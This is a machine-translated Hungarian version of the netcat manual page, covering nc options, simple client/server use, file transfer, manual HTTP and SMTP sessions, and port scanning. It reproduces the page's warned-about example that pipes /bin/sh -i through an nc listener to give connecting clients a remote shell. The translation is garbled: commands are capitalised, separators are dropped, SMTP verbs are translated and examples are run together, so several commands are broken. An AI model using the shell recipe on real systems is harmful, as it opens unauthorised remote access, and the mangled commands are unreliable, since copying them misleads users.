-s forrás | Megadja a csomagok küldésére használt interfészt. A UNIX tartományú datagram socketekhez adja meg a létrehozandó és használandó helyi ideiglenes socket fájlt, hogy a datagramok fogadhatók legyenek. Hiba ezt az opciót a következővel együtt használni -l választási lehetőség. |
-T kulcsszóra | Módosítsa az IPv4 TOS értékét. kulcsszóra lehet az egyik kritikai, inetcontrol, alacsony költségű, alacsony késleltetés, netcontrol, áteresztőképesség, megbízhatóság, vagy valamelyik DiffServ kódpont: ef, af11 ... af43, cs0 ... cs7; vagy egy szám hexadecimális vagy tizedesjegyben. |
-t | Okoz nc RFC 854 DON"T és WON"T válaszok küldésére az RFC 854 DO és WILL kérésekre. Ez lehetővé teszi az nc használatát a telnet munkamenetek parancsfájljaihoz. |
-U | Meghatározza a UNIX tartományi socketek használatát. |
-u | Használja az UDP-t a TCP alapértelmezett beállítása helyett. UNIX tartományi socketeknél használjon datagram socketet a stream socket helyett. UNIX tartományi socket használata esetén a /tmp fájlban egy ideiglenes fogadó socket jön létre, kivéve, ha -s zászlót adják. |
-V rtable | Állítsa be a használni kívánt útválasztási táblázatot. Az alapértelmezett érték 0. |
-v | Van nc bőbeszédűbb kimenetet ad. |
-w időtúllépés | Olyan kapcsolatok, amelyek nem hozhatók létre, vagy időkorlát másodpercek után tétlenek. A -w zászló nincs hatással a -l opció, azaz Az nc örökké figyelni fogja a kapcsolatot, akár a -w zászló. Az alapértelmezés szerint nincs időkorlát. |
-X proxy_protocol | Kéri, hogy az nc a megadott protokollt használja, amikor a proxyszerverrel beszél. A támogatott protokollok: " 4 " (SOCKS v.4) " 5 " (SOCKS v.5) és " csatlakozni" (HTTPS proxy). Ha a protokoll nincs megadva, a SOCKS 5-ös verzióját használja a rendszer. |
-x proxy_cím[:port] | Ezt kéri nc proxy használatával kell csatlakoznia a célhoz proxy_addressés kikötő. Ha kikötő nincs megadva, a proxy protokoll jól ismert portját használja (1080 SOCKS, 3128 HTTPS esetén). |
-Z | DCCP mód. |
-z | Megadja, hogy az nc csak figyelő démonokat keressen anélkül, hogy adatokat küldene nekik. Hiba ezt az opciót a következővel együtt használni -l választási lehetőség. |
rendeltetési hely lehet numerikus IP-cím vagy szimbolikus gazdagépnév (kivéve, ha a -n lehetőség adott). Általában egy célállomást kell megadni, kivéve, ha a -l opció adott (ebben az esetben a helyi gazdagép kerül felhasználásra). A UNIX tartományi socketeknél meg kell adni egy célt, és ez az a socket elérési útja, amelyhez csatlakozni kell (vagy figyelni kell, ha -l lehetőség adott).
A port lehet egyetlen egész szám vagy portok tartománya. A tartományok a formában vannak nn-mm. Általában meg kell adni egy célportot, kivéve, ha a -U lehetőség adott.
Kliens/szerver modell
Nagyon egyszerű felépíteni egy nagyon egyszerű kliens/szerver modellt nc. Az egyik konzolon indítsa el nc egy adott porton figyeli a kapcsolatot. Például:
Nc -l 1234
Az nc most a porton figyel 1234 kapcsolatért. Egy második konzolon (vagy egy második gépen) csatlakozzon a hallgatott géphez és porthoz:
Nc 127.0.0.1 1234
Most már kapcsolatnak kell lennie a portok között. Bármi, amit a második konzolon ír be, összefűződik az elsővel, és fordítva. A kapcsolat létrehozása után nc nem igazán érdekli, hogy melyik oldalt használják „szervernek”, és melyik oldalt „kliensnek”. A kapcsolat megszakítható egy EOF (' ^D’).
Nincs -c vagy -e opciót a modern netcatben, de továbbra is végrehajthat parancsot a kapcsolat létrehozása után a fájlleírók átirányításával. Legyen óvatos, mert VESZÉLYES, ha megnyit egy portot, és hagyja, hogy bárki, aki csatlakozik, tetszőleges parancsot hajtson végre a webhelyen. Ha ezt valóban meg kell tennie, itt van egy példa:
A "szerver" oldalon:
Rm -f/tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
Az „ügyfél” oldalon:
Nc host.example.com 1234
(shell prompt a host.example.com webhelyről)
Kezdje a használatával nc egy adott porton történő hallgatáshoz a kimenet fájlba rögzítésével:
Nc -l 1234 > filename.out
Egy második gép segítségével csatlakozzon a hallgatáshoz nc folyamat, beadva az átvinni kívánt fájlt:
Nc host.example.com 1234< filename.in
A fájl átvitele után a kapcsolat automatikusan megszakad.
Beszélgetés a szerverekkel
Néha hasznos "kézzel" beszélni a szerverekkel, nem pedig felhasználói felületen keresztül. Segíthet a hibaelhárításban, amikor szükséges lehet ellenőrizni, hogy a szerver milyen adatokat küld az ügyfél által kiadott parancsokra válaszul. Például egy webhely kezdőlapjának lekéréséhez:
Printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80
Vegye figyelembe, hogy ez a webszerver által küldött fejléceket is megjeleníti. Szűrhetők, olyan eszköz segítségével, mint pl sed, ha szükséges.
Bonyolultabb példák építhetők fel, ha a felhasználó ismeri a szerver által igényelt kérések formátumát. Egy másik példaként egy e-mailt el lehet küldeni egy SMTP-szervernek a következő használatával:
Nc [-C] localhost 25<< EOF HELO host.example.com MAIL FROM:< >RCPT TO:< >ADATOK Az e-mail törzse. . LÉPJ ki az EOF-ból
Port szkennelés
Hasznos lehet tudni, hogy mely portok vannak nyitva, és mely szolgáltatások futnak a célgépen. A -z zászló segítségével elmondható nc hogy jelentse a nyitott portokat, ahelyett, hogy kapcsolatot kezdeményezne. Általában hasznos bekapcsolni a bőbeszédű kimenetet az stderr-re, ha ezt az opciót a következővel együtt használjuk -v választási lehetőség.
Nc -zv host.example.com 20-30 Csatlakozás a host.example.com 22 porthoz sikerült! Sikerült a csatlakozás a host.example.com 25-ös porthoz!
A porttartomány úgy lett megadva, hogy a keresést a portokra korlátozza 20 - 30 , és növekvő sorrendben szkenneljük.
Megadhatja a vizsgálandó portok listáját is, például:
Nc -zv host.example.com 80 20 22 nc: csatlakozás a host.example.com webhelyhez 80 (tcp) sikertelen: Csatlakozás megtagadva nc: csatlakozás a host.example.com webhelyhez 20 (tcp) sikertelen: A csatlakozás megtagadva Csatlakozás a host.example webhelyhez .com port sikerült!
A portok ellenőrzése az Ön által megadott sorrendben történik.
Alternatív megoldásként hasznos lehet tudni, hogy melyik kiszolgálószoftver fut, és melyik verzióban. Ezt az információt gyakran az üdvözlő szalaghirdetések tartalmazzák. Ezek lekéréséhez először létre kell hozni egy kapcsolatot, majd a szalaghirdetés lekérésekor meg kell szakítani a kapcsolatot. Ez úgy érhető el, hogy megad egy kis időtúllépést a -w zászlót, vagy esetleg egy "QUIT" parancs kiadásával a szervernek:
Echo "QUIT" | nc host.example.com 20-30 SSH-1.99-OpenSSH_3.6.1p2 Protokolltérés. 220 host.example.com IMS SMTP vevő, 0.84-es verzió, kész
Példák
nc -p 31337 -w 5 host.example.com 42TCP-kapcsolatot nyit meg a porthoz 42 nak,-nek host.example.com port segítségével 31337 forrásportként, időtúllépéssel 5 másodpercig.
Nc -u host.example.com 53 nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42
Ugyanaz, mint a fenti példában, de ezúttal engedélyezi a proxy hitelesítést felhasználónévvel " ruser", ha a proxy megköveteli.
Kapcsolódó parancsok
ifconfig— Megtekintheti vagy módosíthatja a hálózati interfészek konfigurációját.